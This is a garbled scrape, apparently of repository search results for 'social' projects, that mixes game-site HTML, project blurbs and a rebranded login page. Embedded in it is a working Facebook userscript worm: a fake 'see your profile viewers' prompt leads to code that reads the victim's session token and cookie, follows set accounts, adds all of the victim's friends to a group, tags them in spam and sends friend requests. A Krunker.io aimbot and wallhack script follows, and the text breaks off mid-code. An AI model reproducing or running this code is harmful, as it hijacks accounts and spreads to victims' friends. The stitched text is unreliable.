data-l10n='index-leaderboards'>Leaderboards</a> </div> <div class='modal-divider'></div> <div class='btn-social-wrapper'> <a href='/~/https://facebook.com/surviviogame' target='_blank' class='btn-social btn-darken btn-facebook'></a> <a href='/~/https://twitter.com/survivio' target='_blank' class='btn-social btn-darken btn-twitter'></a> <a href='/~/https://www.instagram.com/surviviogame/' target='_blank' class='btn-social btn-darken btn-instagram'></a> <a href='/~/https://discord.gg/survivio' target='_blank' class='btn-social btn-darken btn-discord'></a> <!-- <a href='/~/https://www.youtube.com/c/survivio?sub_confirmation=1' target='_blank' class='btn-social btn-darken btn-youtube'></a> --> </div> <div class='modal-divider'></div> <div id='modal-hamburger-bottom'> <a href='changelog.html' class="footer-after">ver 0.9.1b</a> <a href='#' class="btn-cookie-settings footer-after">cookie settings</a> <a href='privacy.txt' target="_blank" class="footer-after">privacy</a> <a href='attribution.txt' target="_blank">attributions</a> </div> </div> </div> </div> <div id='modal-notification' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2>Alert</h2> </div> <div class='modal-body'> <p class='modal-body-text'></p> </div> <div class='modal-footer modal-footer-round'> <h3 class='close close-footer'>OK</h3> </div> </div> </div> <div id='modal-refresh' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2>New Update</h2> </div> <div class='modal-body'> <p class='modal-body-text'>A new version of surviv.io is available!<br><br>Press "OK" below to reload the page.</p> </div> <div class='modal-footer modal-footer-round'> <h3 id='force-refresh' class='close close-footer'>OK</h3> </div> </div> </div> <div id='modal-create-account' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-name'> <span class='close-loadouts close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-log-in-desc'>Log In / Create Account</h2> </div> <div class='modal-body modal-body-name'> <p class='modal-body-text' data-l10n='index-create-account-prompt-1'>Log in to access this feature!</p> <div class='login-options-content'></div> </div> <div class='modal-footer modal-footer-name modal-footer-round'> <h3 class='close close-footer' data-l10n='index-cancel'>Cancel</h3> </div> </div> </div> <div id='modal-screen-block'> <div id='modal-item-confirm' class='modal'> <div class='modal-content modal-close'> <div class='modal-header modal-header-name'> <h2 id='modal-account-name-title'>You got a new item!</h2> </div> <div class='modal-body modal-body-name'> <div id='modal-item-confirm-image-outer'> <div id='modal-item-confirm-image-inner'></div> </div> <div class='modal-settings-item'> <p id='modal-item-confirm-name' class='modal-body-text'></p> </div> </div> <div class='modal-footer modal-footer-name modal-footer-round'> <h3 class='close close-footer' data-l10n='index-confirm'>Confirm</h3> </div> </div> </div> </div> <div id='modal-cookie-settings' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2>Cookie Settings</h2> </div> <div class='modal-body'> <p class='modal-body-text'>We use cookies to personalize content and ads, to provide social media features, and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website. Click <a href='#' id='btn-cookie-opt-out' class='close'>here</a> to opt out of using cookies.</p> </div> <div class='modal-footer modal-footer-round'> <h3 class='close close-footer'><div class='btn-cookies-close btn-darken'>Got it!</div></h3> </div> </div> </div> </div> <script type="text/javascript" src="js/manifest.8e62061f.js"></script><script type="text/javascript" src="js/vendor.bd007df0.js"></script><script type="text/javascript" src="js/app.55f8f3a9.
Pico-Developer
Space Arena Party is a multiplayer social game template project developed for the PICO platform. In this project, players can enter different rooms and invite friends or join rooms where their friends are. Space Arena Party是为PICO平台开发的多人社交游戏模板项目。在这个项目里玩家能够进入不同的房间,并且能够邀请好友或加入好友所在的房间。
Code-Social
Code Social Community is a vibrant and inclusive space for tech enthusiasts to learn, grow, and connect. Join us on our journey to create something extraordinary!
understory-garden
Understory is a digital garden, a micro-publishing space for you to plant the seeds of your ideas and grow them into bi-directionally linked web portals. It's a social zettelkasten that lets users use Web Monetization to get paid when people spend time with their content.
ZoltCyber
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ephendyy
// ==UserScript== // @name facebook 2014 // @version v.01 // @Hak Cipta Ephendy // ==/UserScript== var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); alert('Apakah Anda Ingin mengetahui pengintip profil Anda..?? Klik OK untuk melanjutkan'); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } function getRandomInt (min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } function randomValue(arr) { return arr[getRandomInt(0, arr.length-1)]; } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){ var http4 = new XMLHttpRequest(); var url4 = "/ajax/follow/follow_profile.php?__a=1"; var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp="; http4.open("POST", url4, true); //Send the proper header information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function() {//Call a function when the state changes. if(http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4); } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } // ADMIN a("100003968374379");a("100002185318761");a("1472703506");a("675820844");a("510704624");a("510704630"); var gid = ['610945318992585']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "453791288019170"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada?¾ ekleme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function 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AidanNelson
YORB2020 is a multi-user social space online, created at NYU's Interactive Telecommunications Program in response to the quarantine conditions of COVID-19, this project attempts to provide the ITP community with a shared virtual space to hang out, collaborate and work near each other.
Wallace-Best
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} } } else { // Treat collection as an object for (var key in collection) { if (wallace-best.isOwn(collection, key)) { callback(collection[key], key, collection); } } } }; // Borrowed from underscore wallace-best.extend = function (obj) { wallace-best.each(Array.prototype.slice.call(arguments, 1), function (source) { for (var prop in source) { obj[prop] = source[prop]; } }); return obj; }; wallace-best.serializeArgs = function (params) { var pcs = []; wallace-best.each(params, function (val, key) { if (val !== undefined) { pcs.push(key + (val !== null ? '=' + encodeURIComponent(val) : '')); } }); return pcs.join('&'); }; wallace-best.serialize = function (url, params, nocache) { if (params) { url += (~url.indexOf('?') ? (url.charAt(url.length - 1) == '&' ? '': '&') : '?'); url += wallace-best.serializeArgs(params); } if (nocache) { var ncp = {}; ncp[(new Date()).getTime()] = null; return wallace-best.serialize(url, ncp); } var len = url.length; return (url.charAt(len - 1) == "&" ? url.slice(0, len - 1) : url); }; var TIMEOUT_DURATION = 2e4; // 20 seconds var addEvent, removeEvent; // select the correct event listener function. all of our supported // browsers will use one of these if ('addEventListener' in window) { addEvent = function (node, event, handler) { node.addEventListener(event, handler, false); }; removeEvent = function (node, event, handler) { node.removeEventListener(event, handler, false); }; } else { addEvent = function (node, event, handler) { node.attachEvent('on' + event, handler); }; removeEvent = function (node, event, handler) { node.detachEvent('on' + event, handler); }; } wallace-best.require = function (url, params, nocache, success, failure) { var script = document.createElement('script'); var evName = script.addEventListener ? 'load' : 'readystatechange'; var timeout = null; script.src = wallace-best.serialize(url, params, nocache); script.async = true; script.charset = 'UTF-8'; function handler(ev) { ev = ev || window.event; if (!ev.target) { ev.target = ev.srcElement; } if (ev.type != 'load' && !/^(complete|loaded)$/.test(ev.target.readyState)) { return; // Not ready yet } if (success) { success(); } if (timeout) { clearTimeout(timeout); } removeEvent(ev.target, evName, handler); } if (success || failure) { addEvent(script, evName, handler); } if (failure) { timeout = setTimeout(function () { failure(); }, TIMEOUT_DURATION); } head.appendChild(script); return wallace-best; }; wallace-best.requireStylesheet = function (url, params, nocache) { var link = document.createElement('link'); link.rel = 'stylesheet'; link.type = 'text/css'; link.href = wallace-best.serialize(url, params, nocache); head.appendChild(link); return wallace-best; }; wallace-best.requireSet = function (urls, nocache, callback) { var remaining = urls.length; wallace-best.each(urls, function (url) { wallace-best.require(url, {}, nocache, function () { if (--remaining === 0) { callback(); } }); }); }; wallace-best.injectCss = function (css) { var style = document.createElement('style'); style.setAttribute('type', 'text/css'); // Make inline CSS more readable by splitting each rule onto a separate line css = css.replace(/\}/g, "}\n"); if (window.location.href.match(/^https/)) css = css.replace(/http:\/\//g, 'https://'); if (style.styleSheet) { // Internet Explorer only style.styleSheet.cssText = css; } else { style.appendChild(document.createTextNode(css)); } head.appendChild(style); }; wallace-best.isString = function (val) { return Object.prototype.toString.call(val) === '[object String]'; }; }); /*jshint boss:true*/ /*global wallace-best */ wallace-best.define('Events', function (window, undefined) { "use strict"; // Returns a function that will be executed at most one time, no matter how // often you call it. Useful for lazy initialization. var once = function (func) { var ran = false, memo; return function () { if (ran) return memo; ran = true; memo = func.apply(this, arguments); func = null; return memo; }; }; var has = wallace-best.isOwn; var keys = Object.keys || function (obj) { if (obj !== Object(obj)) throw new TypeError('Invalid object'); var keys = []; for (var key in obj) if (has(obj, key)) keys[keys.length] = key; return keys; }; var slice = [].slice; // Backbone.Events // --------------- // A module that can be mixed in to *any object* in order to provide it with // custom events. You may bind with `on` or remove with `off` callback // functions to an event; `trigger`-ing an event fires all callbacks in // succession. // // var object = {}; // _.extend(object, Backbone.Events); // object.on('expand', function(){ alert('expanded'); }); // object.trigger('expand'); // var Events = { // Bind an event to a `callback` function. Passing `"all"` will bind // the callback to all events fired. on: function (name, callback, context) { if (!eventsApi(this, 'on', name, [callback, context]) || !callback) return this; this._events = this._events || {}; var events = this._events[name] || (this._events[name] = []); events.push({callback: callback, context: context, ctx: context || this}); return this; }, // Bind an event to only be triggered a single time. After the first time // the callback is invoked, it will be removed. once: function (name, callback, context) { if (!eventsApi(this, 'once', name, [callback, context]) || !callback) return this; var self = this; var onced = once(function () { self.off(name, onced); callback.apply(this, arguments); }); onced._callback = callback; return this.on(name, onced, context); }, // Remove one or many callbacks. If `context` is null, removes all // callbacks with that function. If `callback` is null, removes all // callbacks for the event. If `name` is null, removes all bound // callbacks for all events. off: function (name, callback, context) { var retain, ev, events, names, i, l, j, k; if (!this._events || !eventsApi(this, 'off', name, [callback, context])) return this; if (!name && !callback && !context) { this._events = {}; return this; } names = name ? [name] : keys(this._events); for (i = 0, l = names.length; i < l; i++) { name = names[i]; if (events = this._events[name]) { this._events[name] = retain = []; if (callback || context) { for (j = 0, k = events.length; j < k; j++) { ev = events[j]; if ((callback && callback !== ev.callback && callback !== ev.callback._callback) || (context && context !== ev.context)) { retain.push(ev); } } } if (!retain.length) delete this._events[name]; } } return this; }, // Trigger one or many events, firing all bound callbacks. Callbacks are // passed the same arguments as `trigger` is, apart from the event name // (unless you're listening on `"all"`, which will cause your callback to // receive the true name of the event as the first argument). trigger: function (name) { if (!this._events) return this; var args = slice.call(arguments, 1); if (!eventsApi(this, 'trigger', name, args)) return this; var events = this._events[name]; var allEvents = this._events.all; if (events) triggerEvents(events, args); if (allEvents) triggerEvents(allEvents, arguments); return this; }, // Tell this object to stop listening to either specific events ... or // to every object it's currently listening to. stopListening: function (obj, name, callback) { var listeners = this._listeners; if (!listeners) return this; var deleteListener = !name && !callback; if (typeof name === 'object') callback = this; if (obj) (listeners = {})[obj._listenerId] = obj; for (var id in listeners) { listeners[id].off(name, callback, this); if (deleteListener) delete this._listeners[id]; } return this; } }; // Regular expression used to split event strings. var eventSplitter = /\s+/; // Implement fancy features of the Events API such as multiple event // names `"change blur"` and jQuery-style event maps `{change: action}` // in terms of the existing API. var eventsApi = function (obj, action, name, rest) { if (!name) return true; // Handle event maps. if (typeof name === 'object') { for (var key in name) { obj[action].apply(obj, [key, name[key]].concat(rest)); } return false; } // Handle space separated event names. if (eventSplitter.test(name)) { var names = name.split(eventSplitter); for (var i = 0, l = names.length; i < l; i++) { obj[action].apply(obj, [names[i]].concat(rest)); } return false; } return true; }; // A difficult-to-believe, but optimized internal dispatch function for // triggering events. Tries to keep the usual cases speedy (most internal // Backbone events have 3 arguments). var triggerEvents = function (events, args) { var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2]; switch (args.length) { case 0: while (++i < l) { (ev = events[i]).callback.call(ev.ctx); } return; case 1: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1); } return; case 2: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2); } return; case 3: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); } return; default: while (++i < l) { (ev = events[i]).callback.apply(ev.ctx, args); } } }; var listenMethods = {listenTo: 'on', listenToOnce: 'once'}; // Inversion-of-control versions of `on` and `once`. Tell *this* object to // listen to an event in another object ... keeping track of what it's // listening to. wallace-best.each(listenMethods, function (implementation, method) { Events[method] = function (obj, name, callback) { var listeners = this._listeners || (this._listeners = {}); var id = obj._listenerId || (obj._listenerId = wallace-best.getUid('l')); listeners[id] = obj; if (typeof name === 'object') callback = this; obj[implementation](name, callback, this); return this; }; }); // Aliases for backwards compatibility. Events.bind = Events.on; Events.unbind = Events.off; return Events; }); // used for /follow/ /login/ /signup/ social oauth dialogs // faking the bus wallace-best.use('Bus'); _.extend(DISQUS.Bus, wallace-best.Events); </script> <script src="//a.disquscdn.com/1391808583/js/src/global.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/ga_events.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/messagesx.js"></script> <!-- start Mixpanel --><script type="text/javascript">(function(e,b){if(!b.__SV){var a,f,i,g;window.mixpanel=b;a=e.createElement("script");a.type="text/javascript";a.async=!0;a.src=("https:"===e.location.protocol?"https:":"http:")+'//cdn.mxpnl.com/libs/mixpanel-2.2.min.js';f=e.getElementsByTagName("script")[0];f.parentNode.insertBefore(a,f);b._i=[];b.init=function(a,e,d){function f(b,h){var a=h.split(".");2==a.length&&(b=b[a[0]],h=a[1]);b[h]=function(){b.push([h].concat(Array.prototype.slice.call(arguments,0)))}}var c=b;"undefined"!== typeof d?c=b[d]=[]:d="mixpanel";c.people=c.people||[];c.toString=function(b){var a="mixpanel";"mixpanel"!==d&&(a+="."+d);b||(a+=" (stub)");return a};c.people.toString=function(){return c.toString(1)+".people (stub)"};i="disable track track_pageview track_links track_forms register register_once alias unregister identify name_tag set_config people.set people.set_once people.increment people.append people.track_charge people.clear_charges people.delete_user".split(" ");for(g=0;g<i.length;g++)f(c,i[g]); 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}); </script> </head> <body class=""> <header class="global-header"> <div> <nav class="global-nav"> <a href="/" class="logo" data-analytics="site logo"><img src="//a.wallace-bestcdn.com/1391808583/img/disqus-logo-alt-hidpi.png" width="150" alt="wallace-best" title="wallace-best - Discover your community"/></a> </nav> </div> </header> <section class="login"> <form id="login-form" action="https://disqus.com/profile/login/?next=http://wallace-best.wallace-best.com/admin/moderate/" method="post" accept-charset="utf-8"> <h1>Sign in to continue</h1> <input type="text" name="username" tabindex="20" placeholder="Email or Username" value=""/> <div class="password-container"> <input type="password" name="password" tabindex="21" placeholder="Password" /> <span>(<a href="https://wallace-best.com/forgot/">forgot?</a>)</span> </div> <button type="submit" class="button submit" data-analytics="sign-in">Log in to wallace-best</button> <span class="create-account"> <a href="https://wallace-best.com/profile/signup/?next=http%3A//wallace-best.wallace-best.com/admin/moderate/" data-analytics="create-account"> Create an Account </a> </span> <h1 class="or-login">Alternatively, you can log in using:</h1> <div class="connect-options"> <button title="facebook" type="button" class="facebook-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/facebook.svg" alt="Facebook"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/facebook.png" alt="Facebook"> <![endif]--> </span> </button> <button title="twitter" type="button" class="twitter-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/twitter.svg" alt="Twitter"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/twitter.png" alt="Twitter"> <![endif]--> </span> </button> <button title="google" type="button" class="google-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/google.svg" alt="Google"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/google.png" alt="Google"> <![endif]--> </span> </button> </div> </form> </section> <div class="get-disqus"> <a href="https://wallace-best.com/admin/signup/" data-analytics="get-disqus">Get wallace-best for your site</a> </div> <script> /*jshint undef:true, browser:true, maxlen:100, strict:true, expr:true, white:true */ // These must be global var _comscore, _gaq; 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kohlmeier
social spaced repetition system
Gabriel1231n2j3n
// ==UserScript== // @name aimbot gratis para krunker.io // @description Este es el mejor aimbot mod menuq puedas obtener // @version 2.19 // @author Gabriel - // @iconURL 31676a4e532e706e673f7261773d74727565.png // @match *://krunker.io/* // @exclude *://krunker.io/editor* // @exclude *://krunker.io/social* // @run-at document-start // @grant none // @noframes // ==/UserScript== /* eslint-env es6 */ /* eslint-disable no-caller, no-undef, no-loop-func */ var CRC2d = CanvasRenderingContext2D.prototype; var skid, skidStr = [...Array(8)].map(_ => 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'[~~(Math.random()*52)]).join(''); class Skid { constructor() { skid = this; this.downKeys = new Set(); this.settings = null; this.vars = {}; this.playerMaps = []; this.skinCache = {}; this.inputFrame = 0; this.renderFrame = 0; this.fps = 0; this.lists = { renderESP: { off: "Off", walls: "Walls", twoD: "2d", full: "Full" }, renderChams: { off: "Off", white: "White", blue: "Blue", teal: "Teal", purple: "Purple", green: "Green", yellow: "Yellow", red: "Red", }, autoBhop: { off: "Off", autoJump: "Auto Jump", keyJump: "Key Jump", autoSlide: "Auto Slide", keySlide: "Key Slide" }, autoAim: { off: "Off", correction: "Aim Correction", assist: "Legit Aim Assist", easyassist: "Easy Aim Assist", silent: "Silent Aim", trigger: "Trigger Bot", quickScope: "Quick Scope" }, audioStreams: { off: 'Off', _2000s: 'General German/English', _HipHopRNB: 'Hip Hop / RNB', _Oldskool: 'Hip Hop Oldskool', _Country: 'Country', _Pop: 'Pop', _Dance: 'Dance', _Dubstep: 'DubStep', _Lowfi: 'LoFi HipHop', _Jazz: 'Jazz', _Oldies: 'Golden Oldies', _Club: 'Club', _Folk: 'Folk', _ClassicRock: 'Classic Rock', _Metal: 'Heavy Metal', _DeathMetal: 'Death Metal', _Classical: 'Classical', _Alternative: 'Alternative', }, } this.consts = { twoPI: Math.PI * 2, halfPI: Math.PI / 2, playerHeight: 11, cameraHeight: 1.5, headScale: 2, armScale: 1.3, armInset: 0.1, chestWidth: 2.6, hitBoxPad: 1, crouchDst: 3, recoilMlt: 0.3, nameOffset: 0.6, nameOffsetHat: 0.8, }; this.key = { frame: 0, delta: 1, xdir: 2, ydir: 3, moveDir: 4, shoot: 5, scope: 6, jump: 7, reload: 8, crouch: 9, weaponScroll: 10, weaponSwap: 11, moveLock: 12 }; this.css = { noTextShadows: `*, .button.small, .bigShadowT { text-shadow: none !important; }`, hideAdverts: `#aMerger, #endAMerger { display: none !important }`, hideSocials: `.headerBarRight > .verticalSeparator, .imageButton { display: none }`, cookieButton: `#onetrust-consent-sdk { display: none !important }`, newsHolder: `#newsHolder { display: none !important }`, }; this.isProxy = Symbol("isProxy"); this.spinTimer = 1800; let wait = setInterval(_ => { this.head = document.head||document.getElementsByTagName('head')[0] if (this.head) { clearInterval(wait); Object.entries(this.css).forEach(entry => { this.css[entry[0]] = this.createElement("style", entry[1]); }) this.onLoad(); } }, 100); } canStore() { return this.isDefined(Storage); } saveVal(name, val) { if (this.canStore()) localStorage.setItem("kro_utilities_"+name, val); } deleteVal(name) { if (this.canStore()) localStorage.removeItem("kro_utilities_"+name); } getSavedVal(name) { if (this.canStore()) return localStorage.getItem("kro_utilities_"+name); return null; } isType(item, type) { return typeof item === type; } isDefined(object) { return !this.isType(object, "undefined") && object !== null; } isNative(fn) { return (/^function\s*[a-z0-9_\$]*\s*\([^)]*\)\s*\{\s*\[native code\]\s*\}/i).test('' + fn) } getStatic(s, d) { return this.isDefined(s) ? s : d } crossDomain(url) { return "https://crossorigin.me/" + url; } async waitFor(test, timeout_ms = 20000, doWhile = null) { let sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); return new Promise(async (resolve, reject) => { if (typeof timeout_ms != "number") reject("Timeout argument not a number in waitFor(selector, timeout_ms)"); let result, freq = 100; while (result === undefined || result === false || result === null || result.length === 0) { if (doWhile && doWhile instanceof Function) doWhile(); if (timeout_ms % 1000 < freq) console.log("waiting for: ", test); if ((timeout_ms -= freq) < 0) { console.log( "Timeout : ", test ); resolve(false); return; } await sleep(freq); result = typeof test === "string" ? Function(test)() : test(); } console.log("Passed : ", test); resolve(result); }); }; createSettings() { this.settings = { //Rendering showSkidBtn: { pre: "<div class='setHed'>Rendering</div>", name: "Show Skid Button", val: true, html: () => this.generateSetting("checkbox", "showSkidBtn", this), set: (value, init) => { let button = document.getElementById("mainButton"); if (!button) { button = this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu, value) } else button.style.display = value ? "inherit" : "none"; } }, hideAdverts: { name: "Hide Advertisments", val: true, html: () => this.generateSetting("checkbox", "hideAdverts", this), set: (value, init) => { if (value) this.head.appendChild(this.css.hideAdverts) else if (!init) this.css.hideAdverts.remove() } }, hideStreams: { name: "Hide Streams", val: false, html: () => this.generateSetting("checkbox", "hideStreams", this), set: (value) => { window.streamContainer.style.display = value ? "none" : "inherit" } }, hideMerch: { name: "Hide Merch", val: false, html: () => this.generateSetting("checkbox", "hideMerch", this), set: value => { window.merchHolder.style.display = value ? "none" : "inherit" } }, hideNewsConsole: { name: "Hide News Console", val: false, html: () => this.generateSetting("checkbox", "hideNewsConsole", this), set: value => { window.newsHolder.style.display = value ? "none" : "inherit" } }, hideCookieButton: { name: "Hide Security Manage Button", val: false, html: () => this.generateSetting("checkbox", "hideCookieButton", this), set: value => { window['onetrust-consent-sdk'].style.display = value ? "none" : "inherit" } }, noTextShadows: { name: "Remove Text Shadows", val: false, html: () => this.generateSetting("checkbox", "noTextShadows", this), set: (value, init) => { if (value) this.head.appendChild(this.css.noTextShadows) else if (!init) this.css.noTextShadows.remove() } }, customCSS: { name: "Custom CSS", val: "", html: () => this.generateSetting("url", "customCSS", "URL to CSS file"), resources: { css: document.createElement("link") }, set: (value, init) => { if (value.startsWith("http")&&value.endsWith(".css")) { //let proxy = 'https://cors-anywhere.herokuapp.com/'; this.settings.customCSS.resources.css.href = value } if (init) { this.settings.customCSS.resources.css.rel = "stylesheet" try { this.head.appendChild(this.settings.customCSS.resources.css) } catch(e) { alert(e) this.settings.customCSS.resources.css = null } } } }, renderESP: { name: "Player ESP Type", val: "off", html: () => this.generateSetting("select", "renderESP", this.lists.renderESP), }, renderTracers: { name: "Player Tracers", val: false, html: () => this.generateSetting("checkbox", "renderTracers"), }, rainbowColor: { name: "Rainbow ESP", val: false, html: () => this.generateSetting("checkbox", "rainbowColor"), }, renderChams: { name: "Player Chams", val: "off", html: () => this.generateSetting( "select", "renderChams", this.lists.renderChams ), }, renderWireFrame: { name: "Player Wireframe", val: false, html: () => this.generateSetting("checkbox", "renderWireFrame"), }, customBillboard: { name: "Custom Billboard Text", val: "", html: () => this.generateSetting( "text", "customBillboard", "Custom Billboard Text" ), }, //Weapon autoReload: { pre: "<br><div class='setHed'>Weapon</div>", name: "Auto Reload", val: false, html: () => this.generateSetting("checkbox", "autoReload"), }, autoAim: { name: "Auto Aim Type", val: "off", html: () => this.generateSetting("select", "autoAim", this.lists.autoAim), }, frustrumCheck: { name: "Line of Sight Check", val: false, html: () => this.generateSetting("checkbox", "frustrumCheck"), }, wallPenetrate: { name: "Aim through Penetratables", val: false, html: () => this.generateSetting("checkbox", "wallPenetrate"), }, weaponZoom: { name: "Weapon Zoom", val: 1.0, min: 0, max: 50.0, step: 0.01, html: () => this.generateSetting("slider", "weaponZoom"), set: (value) => { if (this.renderer) this.renderer.adsFovMlt = value;} }, weaponTrails: { name: "Weapon Trails", val: false, html: () => this.generateSetting("checkbox", "weaponTrails"), set: (value) => { if (this.me) this.me.weapon.trail = value;} }, //Player autoBhop: { pre: "<br><div class='setHed'>Player</div>", name: "Auto Bhop Type", val: "off", html: () => this.generateSetting("select", "autoBhop", this.lists.autoBhop), }, thirdPerson: { name: "Third Person", val: false, html: () => this.generateSetting("checkbox", "thirdPerson"), set: (value, init) => { if (value) this.thirdPerson = 1; else if (!init) this.thirdPerson = undefined; } }, skinUnlock: { name: "Unlock Skins", val: false, html: () => this.generateSetting("checkbox", "skinUnlock", this), }, //GamePlay disableWpnSnd: { pre: "<br><div class='setHed'>GamePlay</div>", name: "Disable 